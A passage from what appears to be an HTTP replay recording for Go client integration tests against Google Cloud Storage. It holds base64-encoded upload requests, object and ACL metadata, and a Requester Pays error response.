MTMtMDAwMy9mb28vMTU1NjgzNTg5MDI0MDc0Ni9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTAyNDA3NDYiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDT3E1Mk5IeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTAyNDA3NDYvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkwMjQwNzQ2IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNPcTUyTkh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDI0MDc0Ni91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTAyNDA3NDYiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDT3E1Mk5IeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNPcTUyTkh4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "89b2bc9232a865a4", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart\u0026userProject=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3133" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:50 GMT" - ], - "Etag": [ - "CJTz9tHx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrymnpCwS6vZ0kM33ZD4nBupWs9hAuaOGpwiNcS4GJctgaLPe9CQ0Ada06yQV1aEfh9FtX6lgYh9jHwbsT6qdgOYOYe9yGDdAF9f91aE4y4VUHQHts" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDczOTYwNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2ZvbyIsIm5hbWUiOiJmb28iLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg5MDczOTYwNCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbiIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo1MC43MzlaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NTAuNzM5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjUwLjczOVoiLCJzaXplIjoiNSIsIm1kNUhhc2giOiJYVUZBS3J4TEtuYTVjWjJSRUJmRmtnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vP2dlbmVyYXRpb249MTU1NjgzNTg5MDczOTYwNCZhbHQ9bWVkaWEiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDczOTYwNC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9mb28vYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkwNzM5NjA0IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKVHo5dEh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDczOTYwNC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTA3Mzk2MDQiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSlR6OXRIeC9lRUNFQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvZm9vLzE1NTY4MzU4OTA3Mzk2MDQvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9vL2Zvby9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMyIsIm9iamVjdCI6ImZvbyIsImdlbmVyYXRpb24iOiIxNTU2ODM1ODkwNzM5NjA0IiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKVHo5dEh4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9mb28vMTU1NjgzNTg5MDczOTYwNC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vZm9vL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzIiwib2JqZWN0IjoiZm9vIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4OTA3Mzk2MDQiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSlR6OXRIeC9lRUNFQUU9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Im1uRzdUQT09IiwiZXRhZyI6IkNKVHo5dEh4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "a70634faba29225b", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJjYWNoZUNvbnRyb2wiOiJwdWJsaWMsIG1heC1hZ2U9NjAiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJuYW1lIjoiZm9vIn0K", - "aGVsbG8=" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12243" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:51 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqsIKUUc6WyIHUlDvAIDlXVeOofVG4sVV3Rus8ktfPMTUTI7e4PH4657AoDnNOKKy9TOgt8yUtUvCNvDFQC1xwVApFofRhWT3kcjsEYRgZPCDDsUqM" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6NDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuaW5zZXJ0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmluc2VydChPYmplY3RzRGVsZWdhdG9yLmphdmE6OTUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N